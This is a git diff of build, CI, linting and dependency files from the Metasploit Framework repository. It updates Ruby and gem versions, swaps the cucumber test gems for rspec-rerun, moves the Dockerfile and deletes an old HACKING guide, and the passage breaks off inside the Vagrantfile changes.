diff --git a/.dockerignore b/.dockerignore
index 671d2295c4..a066428ead 100644
--- a/.dockerignore
+++ b/.dockerignore
@@ -90,7 +90,7 @@ data/java
 
 # Avoid checking in Meterpreter libs that are built from
 # private source. If you're interested in this functionality,
-# check out Metasploit Pro: http://metasploit.com/download
+# check out Metasploit Pro: https://metasploit.com/download
 data/meterpreter/ext_server_pivot.*.dll
 
 # Avoid checking in metakitty, the source for
diff --git a/.gitignore b/.gitignore
index 54ed3d7b52..233af3374f 100644
--- a/.gitignore
+++ b/.gitignore
@@ -78,7 +78,7 @@ data/java
 
 # Avoid checking in Meterpreter libs that are built from
 # private source. If you're interested in this functionality,
-# check out Metasploit Pro: http://metasploit.com/download
+# check out Metasploit Pro: https://metasploit.com/download
 data/meterpreter/ext_server_pivot.*.dll
 
 # Avoid checking in metakitty, the source for
@@ -91,3 +91,4 @@ docker-compose.local*
 
 # Ignore python bytecode
 *.pyc
+rspec.failures
diff --git a/.rubocop.yml b/.rubocop.yml
index 95aeb51d59..99f6ba340a 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -8,18 +8,57 @@
 
 # inherit_from: .rubocop_todo.yml
 
+AllCops:
+  TargetRubyVersion: 2.2
+
 Metrics/ClassLength:
   Description: 'Most Metasploit modules are quite large. This is ok.'
   Enabled: true
   Exclude:
     - 'modules/**/*'
 
+Metrics/AbcSize:
+  Enabled: false
+  Description: 'This is often a red-herring'
+
+Metrics/CyclomaticComplexity:
+  Enabled: false
+  Description: 'This is often a red-herring'
+
+Metrics/PerceivedComplexity:
+  Enabled: false
+  Description: 'This is often a red-herring'
+
+Style/FrozenStringLiteralComment:
+  Enabled: false
+  Description: 'We cannot support this yet without a lot of things breaking'
+
+Style/RedundantReturn:
+  Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
+  Enabled: false
+
 Style/Documentation:
   Enabled: true
   Description: 'Most Metasploit modules do not have class documentation.'
   Exclude:
     - 'modules/**/*'
 
+Layout/IndentHeredoc:
+  Enabled: false
+  Description: 'We need to leave this disabled for Ruby 2.2 compat, remove in 2018'
+
+Style/GuardClause:
+  Enabled: false
+  Description: 'This often introduces bugs in tested code'
+
+Style/NegatedIf:
+  Enabled: false
+  Description: 'This often introduces bugs in tested code'
+
+Style/ConditionalAssignment:
+  Enabled: false
+  Description: 'This is confusing for folks coming from other languages'
+
 Style/Encoding:
   Enabled: true
   Description: 'We prefer binary to UTF-8.'
@@ -53,7 +92,7 @@ Style/NumericLiterals:
   Enabled: false
   Description: 'This often hurts readability for exploit-ish code.'
 
-Style/SpaceInsideBrackets:
+Layout/SpaceInsideBrackets:
   Enabled: false
   Description: 'Until module template are final, most modules will fail this.'
 
diff --git a/.ruby-version b/.ruby-version
index 005119baaa..8e8299dcc0 100644
--- a/.ruby-version
+++ b/.ruby-version
@@ -1 +1 @@
-2.4.1
+2.4.2
diff --git a/.travis.yml b/.travis.yml
index bb43dc1c92..ffcbff526b 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -12,20 +12,24 @@ addons:
 language: ruby
 rvm:
   - '2.2'
-  - '2.3.4'
-  - '2.4.1'
+  - '2.3.5'
+  - '2.4.2'
 
 env:
-# TODO: restore these tests when the code passes them!
-#  - CMD='bundle exec rake cucumber cucumber:boot CREATE_BINSTUBS=true'
-  - CMD='bundle exec rake spec SPEC_OPTS="--tag content"'
-  - CMD='bundle exec rake spec SPEC_OPTS="--tag ~content"'
+  - CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
+  - CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
 
 matrix:
   fast_finish: true
+
+jobs:
+  # build docker image
   include:
-  - rvm: ruby-head
-    env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build"
+  - env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" DOCKER="true"
+    # we do not need any setup
+    before_install: skip
+    install: skip
+    before_script: skip
 before_install:
   - "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
   - rake --version
@@ -44,7 +48,8 @@ before_script:
   - git diff --exit-code db/schema.rb
 script:
   - echo "${CMD}"
-  - bash -c "${CMD}"
+    # we need travis_wait because the Docker build job can take longer than 10 minutes
+  - if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
 
 notifications:
   irc: "irc.freenode.org#msfnotify"
diff --git a/.yardopts b/.yardopts
index b58b0bda2b..75b5ea96e0 100644
--- a/.yardopts
+++ b/.yardopts
@@ -2,7 +2,7 @@
 --exclude samples/
 --exclude \.ut\.rb/
 --exclude \.ts\.rb/
---files CONTRIBUTING.md,COPYING,HACKING,LICENSE
+--files CONTRIBUTING.md,COPYING,LICENSE
 app/**/*.rb
 lib/msf/**/*.rb
 lib/metasploit/**/*.rb
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 49b1890879..9dff7f654d 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -119,4 +119,4 @@ already way ahead of the curve, so keep it up!
 [YARD]:http://yardoc.org
 [Issues]:https://github.com/rapid7/metasploit-framework/issues
 [Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
-[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
+[metasploit-hackers]:https://groups.google.com/forum/#!forum/metasploit-hackers
diff --git a/docker/Dockerfile b/Dockerfile
similarity index 84%
rename from docker/Dockerfile
rename to Dockerfile
index 52eb6cadfd..1bf0d1c27c 100644
--- a/docker/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-FROM ruby:2.4.1-alpine
+FROM ruby:2.4.2-alpine
 MAINTAINER Rapid7
 
 ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -24,7 +24,6 @@ RUN apk update && \
       bison \
       build-base \
       ruby-dev \
-      libffi-dev\
       openssl-dev \
       readline-dev \
       sqlite-dev \
@@ -35,15 +34,14 @@ RUN apk update && \
       yaml-dev \
       zlib-dev \
       ncurses-dev \
+      git \
     && echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
+    && gem update --system \
+    && gem install bundler \
     && bundle install --system $BUNDLER_ARGS \
     && apk del .ruby-builddeps \
     && rm -rf /var/cache/apk/*
 
-# fix for robots gem not readable (known bug)
-# https://github.com/rapid7/metasploit-framework/issues/6068
-RUN chmod o+r /usr/local/bundle/gems/robots-*/lib/robots.rb
-
 RUN adduser -g msfconsole -D $MSF_USER
 
 RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
diff --git a/Gemfile b/Gemfile
index f98a0f6091..3910ee17ff 100755
--- a/Gemfile
+++ b/Gemfile
@@ -18,9 +18,9 @@ group :development do
   gem 'pry'
   # module documentation
   gem 'octokit'
-  # metasploit-aggregator as a framework only option for now
   # Metasploit::Aggregator external session proxy
-  gem 'metasploit-aggregator'
+  # Disabled for now for crypttlv updates
+  # gem 'metasploit-aggregator'
 end
 
 group :development, :test do
@@ -33,14 +33,10 @@ group :development, :test do
   # Define `rake spec`.  Must be in development AND test so that its available by default as a rake test when the
   # environment is development
   gem 'rspec-rails'
+  gem 'rspec-rerun'
 end
 
 group :test do
-  # cucumber extension for testing command line applications, like msfconsole
-  gem 'aruba'
-  # cucumber + automatic database cleaning with database_cleaner
-  gem 'cucumber-rails', :require => false
-  gem 'shoulda-matchers'
   # Manipulate Time.now in specs
   gem 'timecop'
 end
diff --git a/Gemfile.lock b/Gemfile.lock
index 3907842107..2243aadc1a 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,13 +1,15 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.14.25)
+    metasploit-framework (4.16.11)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
       backports
       bcrypt
+      bcrypt_pbkdf
       bit-struct
+      dnsruby
       filesize
       jsobfu
       json
@@ -15,9 +17,9 @@ PATH
       metasploit-concern
       metasploit-credential
       metasploit-model
-      metasploit-payloads (= 1.2.29)
+      metasploit-payloads (= 1.3.9)
       metasploit_data_models
-      metasploit_payloads-mettle (= 0.1.9)
+      metasploit_payloads-mettle (= 0.2.2)
       msgpack
       nessus_rest
       net-ssh
@@ -30,9 +32,12 @@ PATH
       packetfu
       patch_finder
       pcaprub
-      pg
+      pdf-reader
+      pg (= 0.20.0)
       railties
       rb-readline
+      rbnacl (< 5.0.0)
+      rbnacl-libsodium
       recog
       redcarpet
       rex-arch
@@ -44,7 +49,7 @@ PATH
       rex-mime
       rex-nop
       rex-ole
-      rex-powershell
+      rex-powershell (< 0.1.73)
       rex-random_identifier
       rex-registry
       rex-rop_builder
@@ -53,7 +58,6 @@ PATH
       rex-struct2
       rex-text
       rex-zip
-      robots
       ruby_smb
       rubyntlm
       rubyzip
@@ -62,141 +66,94 @@ PATH
       tzinfo
       tzinfo-data
       windows_error
+      xdr
       xmlrpc
 
 GEM
   remote: https://rubygems.org/
   specs:
-    actionpack (4.2.8)
-      actionview (= 4.2.8)
-      activesupport (= 4.2.8)
+    Ascii85 (1.0.2)
+    actionpack (4.2.10)
+      actionview (= 4.2.10)
+      activesupport (= 4.2.10)
       rack (~> 1.6)
       rack-test (~> 0.6.2)
       rails-dom-testing (~> 1.0, >= 1.0.5)
       rails-html-sanitizer (~> 1.0, >= 1.0.2)
-    actionview (4.2.8)
-      activesupport (= 4.2.8)
+    actionview (4.2.10)
+      activesupport (= 4.2.10)
       builder (~> 3.1)
       erubis (~> 2.7.0)
       rails-dom-testing (~> 1.0, >= 1.0.5)
       rails-html-sanitizer (~> 1.0, >= 1.0.3)
-    activemodel (4.2.8)
-      activesupport (= 4.2.8)
+    activemodel (4.2.10)
+      activesupport (= 4.2.10)
       builder (~> 3.1)
-    activerecord (4.2.8)
-      activemodel (= 4.2.8)
-      activesupport (= 4.2.8)
+    activerecord (4.2.10)
+      activemodel (= 4.2.10)
+      activesupport (= 4.2.10)
       arel (~> 6.0)
-    activesupport (4.2.8)
+    activesupport (4.2.10)
       i18n (~> 0.7)
       minitest (~> 5.1)
       thread_safe (~> 0.3, >= 0.3.4)
       tzinfo (~> 1.1)
-    addressable (2.5.1)
-      public_suffix (~> 2.0, >= 2.0.2)
+    addressable (2.5.2)
+      public_suffix (>= 2.0.2, < 4.0)
+    afm (0.2.2)
     arel (6.0.4)
     arel-helpers (2.4.0)
       activerecord (>= 3.1.0, < 6)
-    aruba (0.14.2)
-      childprocess (~> 0.5.6)
-      contracts (~> 0.9)
-      cucumber (>= 1.3.19)
-      ffi (~> 1.9.10)
-      rspec-expectations (>= 2.99)
-      thor (~> 0.19)
     backports (3.8.0)
     bcrypt (3.1.11)
-    bindata (2.4.0)
+    bcrypt_pbkdf (1.0.0)
+    bindata (2.4.1)
     bit-struct (0.16)
     builder (3.2.3)
-    capybara (2.14.0)
-      addressable
-      mime-types (>= 1.16)
-      nokogiri (>= 1.3.3)
-      rack (>= 1.0.0)
-      rack-test (>= 0.5.4)
-      xpath (~> 2.0)
-    childprocess (0.5.9)
-      ffi (~> 1.0, >= 1.0.11)
-    coderay (1.1.1)
-    contracts (0.16.0)
-    cucumber (2.4.0)
-      builder (>= 2.1.2)
-      cucumber-core (~> 1.5.0)
-      cucumber-wire (~> 0.0.1)
-      diff-lcs (>= 1.1.3)
-      gherkin (~> 4.0)
-      multi_json (>= 1.7.5, < 2.0)
-      multi_test (>= 0.1.2)
-    cucumber-core (1.5.0)
-      gherkin (~> 4.0)
-    cucumber-rails (1.5.0)
-      capybara (>= 1.1.2, < 3)
-      cucumber (>= 1.3.8, < 4)
-      mime-types (>= 1.17, < 4)
-      nokogiri (~> 1.5)
-      railties (>= 4, < 5.2)
-    cucumber-wire (0.0.1)
+    coderay (1.1.2)
+    crass (1.0.2)
     diff-lcs (1.3)
+    dnsruby (1.60.2)
     docile (1.1.5)
     erubis (2.7.0)
-    factory_girl (4.8.0)
+    factory_girl (4.8.1)
       activesupport (>= 3.0.0)
     factory_girl_rails (4.8.0)
       factory_girl (~> 4.8.0)
       railties (>= 3.0.0)
-    faraday (0.12.1)
+    faraday (0.13.1)
       multipart-post (>= 1.2, < 3)
     ffi (1.9.18)
     filesize (0.1.1)
-    fivemat (1.3.4)
-    gherkin (4.1.3)
-    google-protobuf (3.3.0)
-    googleauth (0.5.1)
-      faraday (~> 0.9)
-      jwt (~> 1.4)
-      logging (~> 2.0)
-      memoist (~> 0.12)
-      multi_json (~> 1.11)
-      os (~> 0.9)
-      signet (~> 0.7)
-    grpc (1.3.4)
-      google-protobuf (~> 3.1)
-      googleauth (~> 0.5.1)
-    i18n (0.8.4)
+    fivemat (1.3.5)
+    hashery (2.1.2)
+    i18n (0.8.6)
     jsobfu (0.4.2)
       rkelly-remix
     json (2.1.0)
-    jwt (1.5.6)
-    little-plugger (1.1.4)
-    logging (2.2.2)
-      little-plugger (~> 1.1)
-      multi_json (~> 1.10)
-    loofah (2.0.3)
+    loofah (2.1.1)
+      crass (~> 1.0.2)
       nokogiri (>= 1.5.9)
-    memoist (0.15.0)
     metasm (1.0.3)
-    metasploit-aggregator (0.2.1)
-      grpc
-      rex-arch
-    metasploit-concern (2.0.4)
+    metasploit-concern (2.0.5)
       activemodel (~> 4.2.6)
       activesupport (~> 4.2.6)
       railties (~> 4.2.6)
-    metasploit-credential (2.0.9)
+    metasploit-credential (2.0.12)
       metasploit-concern
       metasploit-model
       metasploit_data_models
       pg
       railties
+      rex-socket
       rubyntlm
       rubyzip
     metasploit-model (2.0.4)
       activemodel (~> 4.2.6)
       activesupport (~> 4.2.6)
       railties (~> 4.2.6)
-    metasploit-payloads (1.2.29)
-    metasploit_data_models (2.0.14)
+    metasploit-payloads (1.3.9)
+    metasploit_data_models (2.0.15)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
       arel-helpers
@@ -206,43 +163,42 @@ GEM
       postgres_ext
       railties (~> 4.2.6)
       recog (~> 2.0)
-    metasploit_payloads-mettle (0.1.9)
-    method_source (0.8.2)
-    mime-types (3.1)
-      mime-types-data (~> 3.2015)
-    mime-types-data (3.2016.0521)
-    mini_portile2 (2.1.0)
-    minitest (5.10.2)
+    metasploit_payloads-mettle (0.2.2)
+    method_source (0.9.0)
+    mini_portile2 (2.3.0)
+    minitest (5.10.3)
     msgpack (1.1.0)
-    multi_json (1.12.1)
-    multi_test (0.1.2)
     multipart-post (2.0.0)
     nessus_rest (0.1.6)
-    net-ssh (4.1.0)
-    network_interface (0.0.1)
-    nexpose (6.0.0)
-    nokogiri (1.7.2)
-      mini_portile2 (~> 2.1.0)
+    net-ssh (4.2.0)
+    network_interface (0.0.2)
+    nexpose (7.1.1)
+    nokogiri (1.8.1)
+      mini_portile2 (~> 2.3.0)
     octokit (4.7.0)
       sawyer (~> 0.8.0, >= 0.5.3)
     openssl-ccm (1.2.1)
     openvas-omp (0.0.4)
-    os (0.9.6)
     packetfu (1.1.13)
       pcaprub
     patch_finder (1.0.2)
     pcaprub (0.12.4)
+    pdf-reader (2.0.0)
+      Ascii85 (~> 1.0.0)
+      afm (~> 0.2.1)
+      hashery (~> 2.0)
+      ruby-rc4
+      ttfunk
     pg (0.20.0)
     pg_array_parser (0.0.9)
     postgres_ext (3.0.0)
       activerecord (>= 4.0.0)
       arel (>= 4.0.1)
       pg_array_parser (~> 0.0.9)
-    pry (0.10.4)
+    pry (0.11.1)
       coderay (~> 1.1.0)
-      method_source (~> 0.8.1)
-      slop (~> 3.4)
-    public_suffix (2.0.5)
+      method_source (~> 0.9.0)
+    public_suffix (3.0.0)
     rack (1.6.8)
     rack-test (0.6.3)
       rack (>= 1.0)
@@ -254,25 +210,29 @@ GEM
       rails-deprecated_sanitizer (>= 1.0.1)
     rails-html-sanitizer (1.0.3)
       loofah (~> 2.0)
-    railties (4.2.8)
-      actionpack (= 4.2.8)
-      activesupport (= 4.2.8)
+    railties (4.2.10)
+      actionpack (= 4.2.10)
+      activesupport (= 4.2.10)
       rake (>= 0.8.7)
       thor (>= 0.18.1, < 2.0)
-    rake (12.0.0)
-    rb-readline (0.5.4)
-    recog (2.1.8)
+    rake (12.1.0)
+    rb-readline (0.5.5)
+    rbnacl (4.0.2)
+      ffi
+    rbnacl-libsodium (1.0.13)
+      rbnacl (>= 3.0.1)
+    recog (2.1.15)
       nokogiri
     redcarpet (3.4.0)
-    rex-arch (0.1.8)
+    rex-arch (0.1.11)
       rex-text
-    rex-bin_tools (0.1.3)
+    rex-bin_tools (0.1.4)
       metasm
       rex-arch
       rex-core
       rex-struct2
       rex-text
-    rex-core (0.1.10)
+    rex-core (0.1.12)
     rex-encoder (0.1.4)
       metasm
       rex-arch
@@ -293,16 +253,17 @@ GEM
     rex-powershell (0.1.72)
       rex-random_identifier
       rex-text
-    rex-random_identifier (0.1.2)
+    rex-random_identifier (0.1.4)
       rex-text
     rex-registry (0.1.3)
     rex-rop_builder (0.1.3)
       metasm
       rex-core
       rex-text
-    rex-socket (0.1.6)
+    rex-socket (0.1.8)
+      rex-core
+    rex-sslscan (0.1.5)
       rex-core
-    rex-sslscan (0.1.4)
       rex-socket
       rex-text
     rex-struct2 (0.1.2)
@@ -310,7 +271,10 @@ GEM
     rex-zip (0.1.3)
       rex-text
     rkelly-remix (0.0.7)
-    robots (0.10.1)
+    rspec (3.6.0)
+      rspec-core (~> 3.6.0)
+      rspec-expectations (~> 3.6.0)
+      rspec-mocks (~> 3.6.0)
     rspec-core (3.6.0)
       rspec-support (~> 3.6.0)
     rspec-expectations (3.6.0)
@@ -319,7 +283,7 @@ GEM
     rspec-mocks (3.6.0)
       diff-lcs (>= 1.2.0, < 2.0)
       rspec-support (~> 3.6.0)
-    rspec-rails (3.6.0)
+    rspec-rails (3.6.1)
       actionpack (>= 3.0)
       activesupport (>= 3.0)
       railties (>= 3.0)
@@ -327,7 +291,10 @@ GEM
       rspec-expectations (~> 3.6.0)
       rspec-mocks (~> 3.6.0)
       rspec-support (~> 3.6.0)
+    rspec-rerun (1.1.0)
+      rspec (~> 3.0)
     rspec-support (3.6.0)
+    ruby-rc4 (0.1.5)
     ruby_smb (0.0.18)
       bindata
       rubyntlm
@@ -337,53 +304,44 @@ GEM
     sawyer (0.8.1)
       addressable (>= 2.3.5, < 2.6)
       faraday (~> 0.8, < 1.0)
-    shoulda-matchers (3.1.1)
-      activesupport (>= 4.0.0)
-    signet (0.7.3)
-      addressable (~> 2.3)
-      faraday (~> 0.9)
-      jwt (~> 1.5)
-      multi_json (~> 1.10)
-    simplecov (0.14.1)
+    simplecov (0.15.1)
       docile (~> 1.1.0)
       json (>= 1.8, < 3)
       simplecov-html (~> 0.10.0)
-    simplecov-html (0.10.1)
-    slop (3.6.0)
+    simplecov-html (0.10.2)
     sqlite3 (1.3.13)
     sshkey (1.9.0)
-    thor (0.19.4)
+    thor (0.20.0)
     thread_safe (0.3.6)
-    timecop (0.8.1)
+    timecop (0.9.1)
+    ttfunk (1.5.1)
     tzinfo (1.2.3)
       thread_safe (~> 0.1)
     tzinfo-data (1.2017.2)
       tzinfo (>= 1.0.0)
     windows_error (0.1.2)
+    xdr (2.0.0)
+      activemodel (>= 4.2.7)
+      activesupport (>= 4.2.7)
     xmlrpc (0.3.0)
-    xpath (2.1.0)
-      nokogiri (~> 1.3)
     yard (0.9.9)
 
 PLATFORMS
   ruby
 
 DEPENDENCIES
-  aruba
-  cucumber-rails
   factory_girl_rails
   fivemat
-  metasploit-aggregator
   metasploit-framework!
   octokit
   pry
   rake
   redcarpet
   rspec-rails
-  shoulda-matchers
+  rspec-rerun
   simplecov
   timecop
   yard
 
 BUNDLED WITH
-   1.15.1
+   1.15.4
diff --git a/HACKING b/HACKING
deleted file mode 100644
index 17343a9f03..0000000000
--- a/HACKING
+++ /dev/null
@@ -1,38 +0,0 @@
-HACKING
-=======
-
-(Last updated: 2014-03-04)
-
-This document almost entirely deprecated by:
-
-CONTRIBUTING.md
-
-in the same directory as this file, and to a lesser extent:
-
-The Metasploit Development Environment
-https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
-
-Common Coding Mistakes
-https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
-
-The Ruby Style Guide
-https://github.com/bbatsov/ruby-style-guide
-
-Ruby 1.9: What to Expect
-http://slideshow.rubyforge.org/ruby19.html
-
-You can use the the "./tools/msftidy.rb" script against your new and
-changed modules to do some rudimentary checking for various style and
-syntax violations.
-
-Licensing for Your New Content
-==============================
-
-By submitting code contributions to the Metasploit Project it is
-assumed that you are offering your code under the Metasploit License
-or similar 3-clause BSD-compatible license.  MIT and Ruby Licenses
-are also fine.  We specifically cannot include GPL code. LGPL code
-is accepted on a case by case basis for libraries only and is never
-accepted for modules.
-
-
diff --git a/LICENSE_GEMS b/LICENSE_GEMS
index a4e325a2cf..2fe90885c5 100644
--- a/LICENSE_GEMS
+++ b/LICENSE_GEMS
@@ -1,71 +1,62 @@
 This file is auto-generated by tools/dev/update_gem_licenses.sh
-actionpack, 4.2.8, MIT
-actionview, 4.2.8, MIT
-activemodel, 4.2.8, MIT
-activerecord, 4.2.8, MIT
-activesupport, 4.2.8, MIT
+Ascii85, 1.0.2, MIT
+actionpack, 4.2.9, MIT
+actionview, 4.2.9, MIT
+activemodel, 4.2.9, MIT
+activerecord, 4.2.9, MIT
+activesupport, 4.2.9, MIT
 addressable, 2.5.1, "Apache 2.0"
+afm, 0.2.2, MIT
 arel, 6.0.4, MIT
 arel-helpers, 2.4.0, unknown
-aruba, 0.14.2, MIT
 backports, 3.8.0, MIT
 bcrypt, 3.1.11, MIT
 bindata, 2.4.0, ruby
 bit-struct, 0.16, ruby
 builder, 3.2.3, MIT
-bundler, 1.15.0, MIT
-capybara, 2.14.0, MIT
-childprocess, 0.5.9, MIT
+bundler, 1.15.1, MIT
 coderay, 1.1.1, MIT
-contracts, 0.16.0, "Simplified BSD"
-cucumber, 2.4.0, MIT
-cucumber-core, 1.5.0, MIT
-cucumber-rails, 1.5.0, MIT
-cucumber-wire, 0.0.1, MIT
 diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
+dnsruby, 1.60.1, "Apache 2.0"
 docile, 1.1.5, MIT
 erubis, 2.7.0, MIT
 factory_girl, 4.8.0, MIT
 factory_girl_rails, 4.8.0, MIT
 faraday, 0.12.1, MIT
-ffi, 1.9.18, "New BSD"
 filesize, 0.1.1, MIT
-fivemat, 1.3.3, MIT
-gherkin, 4.1.3, MIT
+fivemat, 1.3.5, MIT
 google-protobuf, 3.3.0, "New BSD"
 googleauth, 0.5.1, "Apache 2.0"
-grpc, 1.3.4, "New BSD"
-i18n, 0.8.1, MIT
+grpc, 1.4.1, "New BSD"
+hashery, 2.1.2, "Simplified BSD"
+i18n, 0.8.6, MIT
 jsobfu, 0.4.2, "New BSD"
 json, 2.1.0, ruby
 jwt, 1.5.6, MIT
 little-plugger, 1.1.4, MIT
 logging, 2.2.2, MIT
 loofah, 2.0.3, MIT
-memoist, 0.15.0, MIT
+memoist, 0.16.0, MIT
 metasm, 1.0.3, LGPL
 metasploit-aggregator, 0.2.1, "New BSD"
-metasploit-concern, 2.0.4, "New BSD"
-metasploit-credential, 2.0.9, "New BSD"
-metasploit-framework, 4.14.23, "New BSD"
+metasploit-concern, 2.0.5, "New BSD"
+metasploit-credential, 2.0.10, "New BSD"
+metasploit-framework, 4.15.0, "New BSD"
 metasploit-model, 2.0.4, "New BSD"
-metasploit-payloads, 1.2.29, "3-clause (or ""modified"") BSD"
-metasploit_data_models, 2.0.14, "New BSD"
-metasploit_payloads-mettle, 0.1.9, "3-clause (or ""modified"") BSD"
+metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD"
+metasploit_data_models, 2.0.15, "New BSD"
+metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD"
 method_source, 0.8.2, MIT
-mime-types, 3.1, MIT
-mime-types-data, 3.2016.0521, MIT
-mini_portile2, 2.1.0, MIT
+mini_portile2, 2.2.0, MIT
 minitest, 5.10.2, MIT
 msgpack, 1.1.0, "Apache 2.0"
 multi_json, 1.12.1, MIT
-multi_test, 0.1.2, MIT
 multipart-post, 2.0.0, MIT
 nessus_rest, 0.1.6, MIT
 net-ssh, 4.1.0, MIT
 network_interface, 0.0.1, MIT
-nexpose, 6.0.0, BSD
-nokogiri, 1.7.2, MIT
+nexpose, 6.1.0, BSD
+nokogiri, 1.8.0, MIT
 octokit, 4.7.0, MIT
 openssl-ccm, 1.2.1, MIT
 openvas-omp, 0.0.4, MIT
@@ -73,6 +64,7 @@ os, 0.9.6, MIT
 packetfu, 1.1.13, BSD
 patch_finder, 1.0.2, "New BSD"
 pcaprub, 0.12.4, LGPL-2.1
+pdf-reader, 2.0.0, MIT
 pg, 0.20.0, "New BSD"
 pg_array_parser, 0.0.9, unknown
 postgres_ext, 3.0.0, MIT
@@ -83,14 +75,14 @@ rack-test, 0.6.3, MIT
 rails-deprecated_sanitizer, 1.0.3, MIT
 rails-dom-testing, 1.0.8, MIT
 rails-html-sanitizer, 1.0.3, MIT
-railties, 4.2.8, MIT
+railties, 4.2.9, MIT
 rake, 12.0.0, MIT
 rb-readline, 0.5.4, BSD
-recog, 2.1.8, unknown
+recog, 2.1.11, unknown
 redcarpet, 3.4.0, MIT
-rex-arch, 0.1.4, "New BSD"
-rex-bin_tools, 0.1.3, "New BSD"
-rex-core, 0.1.10, "New BSD"
+rex-arch, 0.1.9, "New BSD"
+rex-bin_tools, 0.1.4, "New BSD"
+rex-core, 0.1.11, "New BSD"
 rex-encoder, 0.1.4, "New BSD"
 rex-exploitation, 0.1.14, "New BSD"
 rex-java, 0.1.5, "New BSD"
@@ -101,23 +93,25 @@ rex-powershell, 0.1.72, "New BSD"
 rex-random_identifier, 0.1.2, "New BSD"
 rex-registry, 0.1.3, "New BSD"
 rex-rop_builder, 0.1.3, "New BSD"
-rex-socket, 0.1.6, "New BSD"
+rex-socket, 0.1.8, "New BSD"
 rex-sslscan, 0.1.4, "New BSD"
 rex-struct2, 0.1.2, "New BSD"
 rex-text, 0.2.15, "New BSD"
 rex-zip, 0.1.3, "New BSD"
 rkelly-remix, 0.0.7, MIT
 robots, 0.10.1, MIT
+rspec, 3.6.0, MIT
 rspec-core, 3.6.0, MIT
 rspec-expectations, 3.6.0, MIT
 rspec-mocks, 3.6.0, MIT
 rspec-rails, 3.6.0, MIT
+rspec-rerun, 1.1.0, MIT
 rspec-support, 3.6.0, MIT
-ruby_smb, 0.0.17, "New BSD"
+ruby-rc4, 0.1.5, MIT
+ruby_smb, 0.0.18, "New BSD"
 rubyntlm, 0.6.2, MIT
 rubyzip, 1.2.1, "Simplified BSD"
 sawyer, 0.8.1, MIT
-shoulda-matchers, 3.1.1, MIT
 signet, 0.7.3, "Apache 2.0"
 simplecov, 0.14.1, MIT
 simplecov-html, 0.10.1, MIT
@@ -126,10 +120,11 @@ sqlite3, 1.3.13, "New BSD"
 sshkey, 1.9.0, MIT
 thor, 0.19.4, MIT
 thread_safe, 0.3.6, "Apache 2.0"
-timecop, 0.8.1, MIT
+timecop, 0.9.1, MIT
+ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
 tzinfo, 1.2.3, MIT
 tzinfo-data, 1.2017.2, MIT
 windows_error, 0.1.2, BSD
+xdr, 2.0.0, "Apache 2.0"
 xmlrpc, 0.3.0, ruby
-xpath, 2.1.0, MIT
 yard, 0.9.9, MIT
diff --git a/README.md b/README.md
index ba8aace800..16b401ac91 100644
--- a/README.md
+++ b/README.md
@@ -14,13 +14,12 @@ New bugs and feature requests should be directed to:
 API documentation for writing modules can be found at:
   https://rapid7.github.io/metasploit-framework/api
 
-Questions and suggestions can be sent to:
-  https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
+Questions and suggestions can be sent to: Freenode IRC channel or e-mail the metasploit-hackers mailing list
 
 Installing
 --
 
-Generally, you should use [the free installer](https://www.metasploit.com/download),
+Generally, you should use [the free installer](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers),
 which contains all of the dependencies and will get you up and running with a
 few clicks. See the [Dev Environment Setup](https://r-7.co/MSF-DEV) if
 you'd like to deal with dependencies on your own.
diff --git a/Rakefile b/Rakefile
index 0b5b831699..557139f967 100755
--- a/Rakefile
+++ b/Rakefile
@@ -11,6 +11,7 @@ Metasploit::Framework::Require.optionally_active_record_railtie
 
 begin
   require 'rspec/core'
+  require 'rspec-rerun/tasks'
 rescue LoadError
   puts "rspec not in bundle, so can't set up spec tasks.  " \
        "To run specs ensure to install the development and test groups."
diff --git a/Vagrantfile b/Vagrantfile
index e6bfb9a5ac..3c1a77ec2c 100644
--- a/Vagrantfile
+++ b/Vagrantfile
@@ -3,10 +3,7 @@
 
 Vagrant.configure(2) do |config|
   config.ssh.forward_x11 = true
-  config.vm.box = "ubuntu/trusty64"
-  # TODO: find a minimal image that keeps up-to-date and
-  # supports multiple providers
-  #config.vm.box = "phusion/ubuntu-14.04-amd64"
+  config.vm.box = "ubuntu/xenial64"
   config.vm.network :forwarded_port, guest: 4444, host: 4444
   config.vm.provider "vmware" do |v|
 	  v.memory = 2048
@@ -26,14 +23,14 @@ Vagrant.configure(2) do |config|
   [ #"echo 127.0.1.1 `cat /etc/hostname` >> /etc/hosts", work around a bug in official Ubuntu Xenial cloud images
     "apt-get update",
     "apt-get dist-upgrade -y",
-    "apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg fortune postgresql postgresql-contrib",
+    "apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg2 fortune postgresql postgresql-contrib",
